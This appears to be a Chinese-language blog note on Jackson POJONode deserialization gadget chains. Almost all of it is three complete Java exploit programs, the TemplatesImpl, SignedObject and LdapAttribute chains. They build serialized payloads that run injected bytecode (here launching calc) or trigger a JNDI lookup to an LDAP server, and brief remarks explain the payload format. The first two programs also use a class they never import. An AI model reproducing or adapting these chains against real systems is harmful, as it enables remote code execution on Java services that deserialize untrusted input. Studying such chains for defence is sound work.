Jackson反序列化
成因:PojNode的toString也是可以直接触发任意的getter的,使用条件如下
- 不需要存在该属性
- getter方法需要有返回值
- 尽可能的只有一个getter
- 存在依赖jackson-databind:2.14.2, spring-aop:4.1.4.RELEASE或以下
一般的工具生成的只有jackson1链和jackson2链,然而我找到了一个大佬整理了三条链子,这里记录一下,没调试懂,回头再补.
TemplatesImpl链
类似于Fastjson的TemplatesImpl链,只需要把JsonObject换成PojNode即可.
package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class TemplatesImplChain {
public static void main(String[] args) throws Exception {
CtClass ctClass0 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "boogipop");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
就是cc5的中间件换成了POJONode
.开头四行是用来解决JVM运行随机报错的.参考Jackson随机报错
SignedObject二次反序列化链
package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
public class SignedObjectChain {
public static void main(String[] args) throws Exception {
CtClass ctClass0 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "boogipop");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes2 = new POJONode(templatesImpl);
BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val2.setAccessible(true);
val2.set(exp2,jsonNodes2);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine);
POJONode jsonNodes = new POJONode(signedObject);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
//doPOST(exp.toString().getBytes());
//byte[] byt=new byte[fileInputStream.available()];
//fileInputStream.read(byt);
//doPOST(byt);
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
没啥说的,就是用SignedObject
又套了一层,把TemplatesImpl
层给屏蔽掉了.开头四行是用来解决JVM运行随机报错的.
LdapAttribute链
package org.example;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.node.ValueNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.*;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import javax.management.BadAttributeValueExpException;
import javax.management.JMX;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.naming.CompositeName;
import javax.sql.rowset.BaseRowSet;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URI;
import java.util.Base64;
/**
* Hello world!
*
*/
public class LdapAttributeChain
{
public static void main( String[] args ) throws Exception {
String ldapCtxUrl = "ldap://127.0.0.1:1389/";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[] {"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("Exploit/"));
POJONode jsonNodes = new POJONode(ldapAttribute);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
deserial(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
需要注意的是baseCtxURL
必须是ldap://xxxx/
这种格式,否则经过拼接之后查询ldap会出现错误.而rdn
这个字符串只能够拼接第一个/
前的进去.所以我们构造的payload必须形如ldap://xxxx/xxx/
.目前我没有找到好用的工具,回头该学学魔改别人的工具了.
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